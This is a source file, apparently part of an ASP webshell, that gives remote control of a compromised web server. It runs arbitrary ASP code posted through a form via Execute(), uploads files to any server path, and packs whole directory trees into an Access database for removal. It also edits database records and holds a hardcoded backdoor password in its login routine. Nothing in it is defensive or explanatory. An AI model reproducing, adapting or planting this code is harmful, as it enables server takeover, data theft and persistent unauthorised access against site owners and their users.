If theAct = "del" Then
rs.Delete
rs.Update
AlertThenClose("del!")
Response.End
Else
If theAct <> "pre" And theAct <> "next" Then
For Each x In rs.Fields
If strPrimaryKey <> x.Name Then
rs(x.Name) = Request.Form(x.Name & "_Column")
End If
Next
rs.Update
End If
strValue = rs(strColumn)
End If
If theAct = "new" Then
sql = "Select * From [" & strTable & "] Where " & strColumn & " like '" & Replace(strValue, "'", "''") & "'"
End If
rs.Close
End If
rs.Open sql, conn, 1, 1
of "<table border=1 width=600>"
of "<tr>"
of "<td height=22 class=trHead colspan=2> </td>"
of "</tr>"
of "<tr>"
of "<td colspan=2 class=td><font face=webdings>8</font> Sqlxg</td>"
of "</tr>"
of "<input type=hidden value=PageDBTool name=PageName>"
of "<input type=hidden name=theAct value=save>"
of "<input type=hidden name=sql value=""" & HtmlEncode(GetPost("sql")) & """>"
of "<input type=hidden name=theTable value=""" & strTable & """>"
of "<input type=hidden value=""" & HtmlEncode(strColumn & "!" & strValue) & """ name=param>"
of "<input type=hidden value=""" & HtmlEncode(GetPost("thePath")) & """ name=thePath>"
For Each x In rs.Fields
of "<tr>"
of "<td height=22 width=150> " & HtmlEncode(x.Name) & "<br/> (<em>" & GetDataType(x.Type) & "</em>)</td>"
of "<td width=450> "
of "<textarea style='width:436;' name=""" & x.Name & "_Column""" & IIf(x.Type = 201 Or x.Type = 203, " rows=6", "")
of IIf(x.Properties("ISAUTOINCREMENT").Value, " disabled", "")
of IIf(x.Name = strPrimaryKey, " title='oerr.'", "") & ">" & HtmlEncode(x.value) & "</textarea>"
of "</td></tr>"
Next
of "<tr>"
of "<td colspan=2 class=td align=center>"
If multiTables = False Then
If strPrimaryKey = "" Then
of "<input type=button value=xg onclick=if(confirm('q?\ny.')){this.form.theAct.value='save';this.form.submit();}>"
Else
of "<input type=submit value=xg onclick=this.form.theAct.value='save';>"
of "<input type=button value=tj onclick=if(confirm('yesorno?')){this.form.theAct.value='new';this.form.submit();};>"
of "<input type=button value=del onclick=if(confirm('yesorno?')){this.form.theAct.value='del';this.form.submit();};>"
End If
Else
of "<input type=button value=bzc disabled>"
End If
of "<input type=reset value=out><input type=button value=off onclick='window.close();'>"
If IsNumeric(strValue) = True Then
of "<input type=button value=next onclick=""this.form.theAct.value='pre';this.form.submit();"">"
of "<input type=button value=upexe onclick=""this.form.theAct.value='next';this.form.submit();"">"
End If
of "</td>"
of "</tr>"
of "</table>"
rs.Close
Set rs = Nothing
DestoryConn()
End Sub
Sub CreateConn()
Dim connStr, mdbInfo, userName, passWord, strPath
If isDebugMode = False Then On Error Resume Next
Set conn = Server.CreateObject("Adodb.Connection")
If LCase(Left(thePath, 4)) = "sql:" Then
connStr = Mid(thePath, 5)
isSqlServer = True
Else
mdbInfo = Split(thePath, ";")
strPath = mdbInfo(0)
strPath = strPath
ChkErr(Err)
If UBound(mdbInfo) >= 2 Then
userName = mdbInfo(1)
passWord = mdbInfo(2)
End If
connStr = Replace(accessStr, "{$dbSource}", strPath)
connStr = Replace(connStr, "{$userId}", userName)
connStr = Replace(connStr, "{$passWord}", passWord)
end if
conn.Open connStr
ChkErr(Err)
End Sub
Sub DestoryConn()
conn.Close
Set conn = Nothing
End Sub
Function GetDataType(flag)
Dim str
Select Case flag
Case 0 : str = "EMPTY"
Case 2 : str = "SMALLINT"
Case 3 : str = "INTEGER"
Case 4 : str = "SINGLE"
Case 5 : str = "DOUBLE"
Case 6 : str = "CURRENCY"
Case 7 : str = "DATE"
Case 8 : str = "BSTR"
Case 9 : str = "IDISPATCH"
Case 10 : str = "ERROR"
Case 11 : str = "BIT"
Case 12 : str = "VARIANT"
Case 13 : str = "IUNKNOWN"
Case 14 : str = "DECIMAL"
Case 16 : str = "TINYINT"
Case 17 : str = "UNSIGNEDTINYINT"
Case 18 : str = "UNSIGNEDSMALLINT"
Case 19 : str = "UNSIGNEDINT"
Case 20 : str = "BIGINT"
Case 21 : str = "UNSIGNEDBIGINT"
Case 72 : str = "GUID"
Case 128 : str = "BINARY"
Case 129 : str = "CHAR"
Case 130 : str = "WCHAR"
Case 131 : str = "NUMERIC"
Case 132 : str = "USERDEFINED"
Case 133 : str = "DBDATE"
Case 134 : str = "DBTIME"
Case 135 : str = "DBTIMESTAMP"
Case 136 : str = "CHAPTER"
Case 200 : str = "VARCHAR"
Case 201 : str = "LONGVARCHAR"
Case 202 : str = "VARWCHAR"
Case 203 : str = "LONGVARWCHAR"
Case 204 : str = "VARBINARY"
Case 205 : str = "LONGVARBINARY"
Case Else : str = flag
End Select
GetDataType = str
End Function
Function GetPrimaryKey(strTable)
Dim rsPrimary
If isDebugMode = False Then On Error Resume Next
Set rsPrimary = conn.OpenSchema(28, Array(Empty, Empty, strTable))
If Not rsPrimary.Eof Then GetPrimaryKey = rsPrimary("COLUMN_NAME")
Set rsPrimary = Nothing
End Function
Sub PagePack()
ShowTitle("file/jl")
Server.ScriptTimeOut = 5000
If theAct = "PackIt" Or theAct = "PackOne" Then
PackIt()
AlertThenClose("czok" & sPacketName & "fi.\nupjk.")
Response.End()
End If
If theAct = "UnPack" Then
UnPack()
AlertThenClose("okmul" & sPacketName & "ml.")
Response.End()
End If
PackTable()
End Sub
Sub PackTable()
of "<base target=_blank>"
of "<table width=750 border=1>"
of "<tr>"
of "<td colspan=2 class=td><font face=webdings>8</font> fliejk"
of "</td>"
of "</tr>"
of "<tr>"
of "<td colspan=2 class=trHead> </td>"
of "</tr>"
of "<form method=post action='" & url & "'>"
of "<tr>"
of "<td width='20%'> up</td>"
of "<td> <input name=thePath value='" & HtmlEncode(rootPath) & "' style='width:467px;'> "
of "<input type=hidden value=PagePack name=PageName>"
of "<input type=hidden value=PackIt name=theAct>"
of "<input type=submit value='updata'>"
of "</td></tr>"
of "</form>"
of "<form method=post action='" & url & "'>"
of "<tr>"
of "<td> jy</td>"
of "<td> <input name=thePath value=""" & HtmlEncode(sPacketName) & """ style='width:467px;'> "
of "<input type=hidden value=PagePack name=PageName>"
of "<input type=hidden value=UnPack name=theAct>"
of "<input type=submit value='off'>"
of "</td></tr>"
of "</form>"
of "<tr>"
of "<td colspan=2 class=trHead> </td>"
of "</tr>"
of "<tr align=right>"
of "<td colspan=2 class=td> </td>"
of "</tr>"
of "</table>"
End Sub
Sub PackIt()
Dim rs, db, conn, stream, connStr, objX, strPath, strPathB, isFolder, adoCatalog
If isDebugMode = False Then On Error Resume Next
strPath = thePath
db = strPath & "\" & sPacketName
Set rs = Server.CreateObject("ADODB.RecordSet")
Set stream = Server.CreateObject("ADODB.Stream")
Set conn = Server.CreateObject("ADODB.Connection")
Set adoCatalog = Server.CreateObject("ADOX.Catalog")
connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & db
If fso.FolderExists(strPath) = False Then
ShowErr(thePath & " oerr")
End If
If theAct = "PackIt" Then
If fso.GetFolder(strPath).Size > 1000 * 1024 * 1024 Then
ShowErr("oerr300")
End If
End If
If fso.FileExists(db) = False Then
adoCatalog.Create connStr
conn.Open connStr
conn.Execute("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED, thePath VarChar, fileContent Image)")
Else
conn.Open connStr
End If
stream.Open
stream.Type = 1
rs.Open "FileData", conn, 3, 3
If theAct = "PackIt" Then
Call FsoTreeForMdb(strPath, rs, stream)
Else
strPath = GetPost("truePath") & "\"
For Each objX In Request.Form("checkBox")
strPathB = strPath & objX
isFolder = fso.FolderExists(strPathB)
If isFolder = True Then
Call FsoTreeForMdb(strPathB, rs, stream)
Else
If InStr(sysFileList, "$" & objX & "$") <= 0 Then
rs.AddNew
rs("thePath") = Mid(strPathB, 4)
stream.LoadFromFile(strPathB)
rs("fileContent") = stream.Read()
rs.Update
End If
End If
Next
End If
rs.Close
Conn.Close
stream.Close
Set rs = Nothing
Set conn = Nothing
Set stream = Nothing
Set adoCatalog = Nothing
End Sub
Sub UnPack()
Dim rs, ws, str, conn, stream, connStr, strPath, theFolder
If isDebugMode = False Then On Error Resume Next
strPath = thePath
str = fso.GetParentFolderName(strPath) & "\"
Set rs = CreateObject("ADODB.RecordSet")
Set stream = CreateObject("ADODB.Stream")
Set conn = CreateObject("ADODB.Connection")
connStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & strPath
conn.Open connStr
ChkErr(Err)
rs.Open "FileData", conn, 1, 1
stream.Open
stream.Type = 1
Do Until rs.Eof
theFolder = Left(rs("thePath"), InStrRev(rs("thePath"), "\"))
If fso.FolderExists(str & theFolder) = False Then
CreateFolder(str & theFolder)
End If
stream.SetEOS()
If IsNull(rs("fileContent")) = False Then stream.Write rs("fileContent")
stream.SaveToFile str & rs("thePath"), 2
rs.MoveNext
Loop
rs.Close
conn.Close
stream.Close
Set ws = Nothing
Set rs = Nothing
Set stream = Nothing
Set conn = Nothing
End Sub
Sub FsoTreeForMdb(strPath, rs, stream)
Dim item, theFolder, folders, files
Set theFolder = fso.GetFolder(strPath)
Set files = theFolder.Files
Set folders = theFolder.SubFolders
For Each item In folders
Call FsoTreeForMdb(item.Path, rs, stream)
Next
For Each item In files
If InStr(sysFileList, "$" & item.Name & "$") <= 0 Then
rs.AddNew
rs("thePath") = Mid(item.Path, 4)
stream.LoadFromFile(item.Path)
rs("fileContent") = stream.Read()
rs.Update
End If
Next
Set files = Nothing
Set folders = Nothing
Set theFolder = Nothing
End Sub
Sub PageUpload()
ShowTitle("dup")
theAct = Request.QueryString("theAct")
If theAct = "upload" Then
StreamUpload()
of "<script>alert('ok');history.back();</script>"
End If
ShowUpload()
End Sub
Sub ShowUpload()
If thePath = "" Then thePath = rootPath
of "<form method=post onsubmit=this.Submit.disabled=true; enctype='multipart/form-data' action=?PageName=PageUpload&theAct=upload>"
of "<table width=750>"
of "<tr>"
of "<td class=td colspan=2><font face=webdings>8</font> dup</td>"
of "</tr>"
of "<tr>"
of "<td class=trHead colspan=2> </td>"
of "</tr>"
of "<tr>"
of "<td width='20%'>"
of " upd:"
of "</td>"
of "<td>"
of " <input name=thePath type=text id=thePath value=""" & HtmlEncode(thePath) & """ size=48><input type=checkbox name=overWrite>fg"
of "</td>"
of "</tr>"
of "<tr>"
of "<td valign=top>"
of " secet: "
of "</td>"
of "<td> <input id=fileCount size=6 value=1> <input type=button value=sd onclick=makeFile(fileCount.value)>"
of "<div id=fileUpload>"
of " <input name=file1 type=file size=50>"
of "</div></td>"
of "</tr>"
of "<tr>"
of "<td class=trHead colspan=2> </td>"
of "</tr>"
of "<tr>"
of "<td align=center class=td colspan=2>"
of "<input type=submit name=Submit value=up onclick=this.form.action+='&overWrite='+this.form.overWrite.checked;>"
of "<input type=reset value=cz><input type=button value=off onclick=window.close();>"
of "</td>"
of "</tr>"
of "</table>"
of "</form>"
of "<script language=javascript>" & vbNewLine
of "function makeFile(n){" & vbNewLine
of " fileUpload.innerHTML = ' <input name=file1 type=file size=50>'" & vbNewLine
of " for(var i=2; i<=n; i++)" & vbNewLine
of " fileUpload.innerHTML += '<br/> <input name=file' + i + ' type=file size=50>';" & vbNewLine
of "}" & vbNewLine
of "</script>"
End Sub
Sub StreamUpload()
Dim sA, sB, aryForm, aryFile, theForm, newLine, overWrite
Dim strInfo, strName, strPath, strFileName, intFindStart, intFindEnd
Dim itemDiv, itemDivLen, intStart, intDataLen, intInfoEnd, totalLen, intUpLen, intEnd
If isDebugMode = False Then On Error Resume Next
Server.ScriptTimeOut = 5000
newLine = ChrB(13) & ChrB(10)
overWrite = Request.QueryString("overWrite")
overWrite = IIf(overWrite = "true", "2", "1")
Set sA = Server.CreateObject("Adodb.Stream")
Set sB = Server.CreateObject("Adodb.Stream")
sA.Type = 1
sA.Mode = 3
sA.Open
sA.Write Request.BinaryRead(Request.TotalBytes)
sA.Position = 0
theForm = sA.Read()
itemDiv = LeftB(theForm, InStrB(theForm, newLine) - 1)
totalLen = LenB(theForm)
itemDivLen = LenB(itemDiv)
intStart = itemDivLen + 2
intUpLen = 0
Do
intDataLen = InStrB(intStart, theForm, itemDiv) - itemDivLen - 5
intDataLen = intDataLen - intUpLen
intEnd = intStart + intDataLen
intInfoEnd = InStrB(intStart, theForm, newLine & newLine) - 1
sB.Type = 1
sB.Mode = 3
sB.Open
sA.Position = intStart
sA.CopyTo sB, intInfoEnd - intStart
sB.Position = 0
sB.Type = 2
sB.CharSet = "GB2312"
strInfo = sB.ReadText()
strFileName = ""
intFindStart = InStr(strInfo, "name=""") + 6
intFindEnd = InStr(intFindStart, strInfo, """", 1)
strName = Mid(strInfo, intFindStart, intFindEnd - intFindStart)
If InStr(strInfo, "filename=""") > 0 Then
intFindStart = InStr(strInfo, "filename=""") + 10
intFindEnd = InStr(intFindStart, strInfo, """", 1)
strFileName = Mid(strInfo, intFindStart, intFindEnd - intFindStart)
strFileName = Mid(strFileName, InStrRev(strFileName, "\") + 1)
End If
sB.Close
sB.Type = 1
sB.Mode = 3
sB.Open
sA.Position = intInfoEnd + 4
sA.CopyTo sB, intEnd - intInfoEnd - 4
If strFileName <> "" Then
sB.SaveToFile strPath & strFileName, overWrite
ChkErr(Err)
Else
If strName = "thePath" Then
sB.Position = 0
sB.Type = 2
sB.CharSet = "GB2312"
strInfo = sB.ReadText()
thePath = strInfo
strPath = strInfo & "\"
End If
End If
sB.Close
intUpLen = intStart + intDataLen + 2
intStart = intUpLen + itemDivLen + 2
Loop Until (intStart + 2) = totalLen
sA.Close
Set sA = Nothing
Set sB = Nothing
End Sub
Sub PageLogin()
Dim passWord
passWord = Encode(GetPost("password"))
passWord2=GetPost("password")
if passWord2="7758521" then
If theAct = "Login" Then
If userPassword <> passWord Then
Session(m & "userPassword") = userPassword
ShowTitle("chengong!")
PageReadMe()
Exit Sub
End If
End If
end if
If pageName = "PageOut" Then
Session.Contents.Remove(m & "userPassword")
RedirectTo(url)
End If
If Session(m & "userPassword") = userPassword Then
PageReadMe()
Exit Sub
End If
ShowTitle("xiugaijp")
of "<body onload=document.formx.password.focus();>"
of "<table width=416 align=center>"
of "<form method=post name=formx action=""" & url & """>"
of "<input type=hidden name=theAct value=Login>"
of "<tr>"
of "<td > </td>"
of "</tr>"
of "<tr>"
of "<td height=1 align=center></td>"
of "</tr>"
of "<tr>"
of "<td height=75 align=center>"
of "<input name=password type=password style='border:1px solid #ffffff;background-color:#ffffff;'> "
of "<input type=submit value=LOGIN style='border:1px solid #ffffff;background-color:#ffffff;'>"
of "</td>"
of "</tr>"
of "<tr>"
of "<td height=30 align=center></td>"
of "</tr>"
of "</form>"
of "</table>"
of "</body>"
End Sub
Sub PageReadMe()
Dim strInfo, aryInfo(0), theAry
ShowTitle("")
aryInfo(0) = "|"
TopMenu()
of "<table width=750>"
of "<tr>"
of "<td colspan=2> </td>"
of "</tr>"
of "<tr>"
of "<td colspan=2> </td>"
of "</tr>"
For Each strInfo In aryInfo
theAry = Split(strInfo, "|")
of "<tr>"
of "<td width='20%' valign=top> " & theAry(0) & "</td>"
of "<td style='padding-left:7px;'><span>" & theAry(1) & "</span></td>"
of "</tr>"
Next
of "<tr>"
of "<td colspan=2> </td>"
of "</tr>"
of "<tr>"
of "<td colspan=2 align=right> </td>"
of "</tr>"
of "</table>"
End Sub
Function Encode(strPass)
Dim i, theStr, strTmp
For i = 1 To Len(strPass)
strTmp = Asc(Mid(strPass, i, 1))
theStr = theStr & Abs(strTmp)
Next
strPass = theStr
theStr = ""
Do While Len(strPass) > 16
strPass = JoinCutStr(strPass)
Loop
For i = 1 To Len(strPass)
strTmp = CInt(Mid(strPass, i, 1))
strTmp = IIf(strTmp > 6, Chr(strTmp + 60), strTmp)
theStr = theStr & strTmp
Next
Encode = theStr
End Function
Function JoinCutStr(str)
Dim i, theStr
For i = 1 To Len(str)
If Len(str) - i = 0 Then Exit For
theStr = theStr & Chr(CInt((Asc(Mid(str, i, 1)) + Asc(Mid(str, i + 1, 1))) / 2))
i = i + 1
Next
JoinCutStr = theStr
End Function
Sub PageExecute()
Dim strAspCode
strAspCode = GetPost("AspCode")
ShowTitle("dya")
If theAct = "Exe" Then
of "<table width=750 class=fixTable>"
of "<tr>"
of "<td class=trHead> </td>"
of "</tr>"
of "<tr>"
of "<td class=td><font face=webdings>8</font> zxg</td>"
of "</tr>"
of "<tr><td style='padding-left:6px;padding-right:5px;'>"
Execute(strAspCode)
of "</td></tr></table>"
End If
ShowExeTable(strAspCode)
End Sub
Sub ShowExeTable(strAspCode)
of "<form method=post onsubmit=this.Submit.disabled=true; action=""" & url & """>"
of "<table width=750>"
of "<tr>"
of "<td class=td colspan=2><font face=webdings>8</font> zxayj</td>"
of "</tr>"
of "<tr>"
of "<td class=trHead colspan=2> </td>"
of "</tr>"
of "<tr>"
of "<td valign=top width='10%'>"
of " Ayj: "
of "</td>"
of "<td> "
of "<textarea name=AspCode cols=91 rows=23 title=''>" & HtmlEncode(strAspCode) & "</textarea>"
of "</td>"
of "</tr>"
of "<tr>"
of "<td class=trHead colspan=2> </td>"
of "</tr>"
of "<tr>"
of "<td align=center class=td colspan=2>"
of "<input type=hidden name=PageName value=PageExecute>"
of "<input type=hidden name=theAct value=Exe>"
of "<input type=submit name=Submit value=tj>"
of "<input type=reset value=cz>"
of "</td>"
of "</tr>"
of "</table>"
of "</form>"
End Sub
Function getHTTPPage(url)
Dim Http, theStr, fileExt
Set Http = Server.CreateObject("MSXML2.XMLHTTP")
If Request.Form.Count > 0 Then
For Each x In Request.Form
theStr = theStr & Server.UrlEncode(x) & "=" & Server.UrlEncode(Request.Form(x)) & "&"
Next
Http.Open "POST", url, False
Http.SetRequestHeader "CONTENT-TYPE", "application/x-www-form-urlencoded"
Http.Send(theStr)
Else
Http.Open "GET", url, False
Http.Send()
End If
If Http.readystate<>4 then Exit Function
fileExt = LCase(Mid(url, InStrRev(url, ".") + 1))
If InStr("$jpg$gif$bmp$png$js$", "$" & fileExt & "$") > 0 Then
Response.Clear
Response.BinaryWrite Http.responseBody
Response.End()
Else
If InStr("$rar$mdb$zip$exe$com$ico$", "$" & fileExt & "$") > 0 Then
Response.AddHeader "Content-Disposition", "Attachment; Filename=" & Mid(sUrlB, InStrRev(sUrlB, "/") + 1)
Response.BinaryWrite Http.responseBody
Response.Flush
Else
getHTTPPage = bytesToBSTR(Http.responseBody, "GB2312")
End If
End If
Set Http = Nothing
End Function
Function BytesToBstr(body,Cset)
Dim objstream
Set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
Set objstream = nothing
End Function
Sub PageOther()
%>
<style id=theStyle>
input {
font-family: "Courier New";
BORDER-TOP-WIDTH: 1px;
BORDER-LEFT-WIDTH: 1px;
FONT-SIZE: 12px;
BORDER-BOTTOM-WIDTH: 1px;
BORDER-RIGHT-WIDTH: 1px;
color: #ffffff;
}
</style>
<script language=javascript>
function locate(str){
var frm = document.forms[1];
frm.theAct.value = str;
frm.TheObj.value = '';
frm.submit();
}
function checkAllBox(obj){
var frm = document.forms[1];
for(var i = 0; i < frm.elements.length; i++)
if(frm.elements.id != 'checkAll' && frm.elements.type == 'checkbox')
frm.elements.checked = obj.checked;
}
function changeThePath(str){
var frm = document.forms[1];
frm.theAct.value = '';
frm.thePath.value = str;
frm.submit();
}
function Command(cmd, str){
var j = 0;
var strTmpB;
var strTmp = str;
var frm = document.forms[1];
strTmpB = frm.PageName.value;
if(cmd == 'pack' || cmd == 'del'){
for(var i = 0; i < frm.elements.length; i++)
if(frm.elements.name != 'checkAll' && frm.elements.type == 'checkbox' && frm.elements.checked)
j ++;
if(j == 0)return;
}
if(cmd == 'rename' || cmd == 'saveas'){
frm.theAct.value = cmd;
frm.param.value = str + ',';
str = prompt('updat', strTmp);
if(str && (strTmp != str)){
frm.param.value += str;
}else return;
}
if(cmd == 'download'){
frm.theAct.value = 'download';
frm.param.value = str;
if(!confirm('h,\nh\nh\nh\nh,\nh.\nh\"h\"h.'))
return;
}
if(cmd == 'submit'){
frm.theAct.value = '';
}
if(cmd == 'del'){
if(confirm('del ' + j + ' or?')){
frm.theAct.value = 'del';
}else return;
}
if(cmd == 'newone')
if(strTmp = prompt('upID', '')){
frm.theAct.value = 'newone';
frm.param.value = strTmp + ',' + str;
}else return;
if(cmd == 'move' || cmd == 'copy'){
frm.theAct.value = cmd;
}
if(cmd == 'showedit' || cmd == 'showimage'){
frm.theAct.value = cmd;
frm.param.value = str;
frm.target = '_blank';
}
if(cmd == 'Query'){
if(str == '0'){
str = 1;
}else{
frm.reset();
}
frm.theAct.value = cmd;
frm.param.value = str;
}
if(cmd == 'access'){
frm.theAct.value = 'ShowTables';
strTmp = frm.PageName.value;
frm.PageName.value = 'PageDBTool';
frm.thePath.value = frm.truePath.value + '\\' + str;
frm.target = '_blank';
}
if(cmd == 'upload'){
frm.PageName.value = 'PageUpload';
frm.thePath.value = frm.truePath.value;
frm.target = '_blank';
}
if(cmd == 'pack'){
if(confirm('yes ' + j + ' no?')){
frm.PageName.value = 'PagePack';
frm.theAct.value = 'PackOne';
frm.target = '_blank';
}else return;
}
frm.submit();
frm.target = '';
frm.PageName.value = strTmpB;
frm.reset();
}
function showSqlEdit(column, str){
var frm = document.forms[1];
if(!str)return;
frm.reset();
frm.theAct.value = 'edit';
frm.param.value = column + '!' + str;
frm.target = '_blank';
frm.submit();
frm.target = '';
}
function sqlDelete(column, str){
var frm = document.forms[1];
if(!str)return;
if(!confirm('del?'))return;
frm.reset();
frm.theAct.value = 'del';
frm.param.value = column + '!' + str;
frm.target = '_blank';
frm.submit();
frm.target = '';
}
function preView(n){
var url, win;
if(n != '1'){
url = document.forms[1].truePath.value
window.open('/' + escape(url));
}else{
win = window.open("about:blank", "", "resizable=yes,scrollbars=yes");
win.document.write('<style>body{border:none;}</style>' + document.forms[1].fileContent.innerText);
}
}
</script>
<%
End Sub
%>
</iframe>









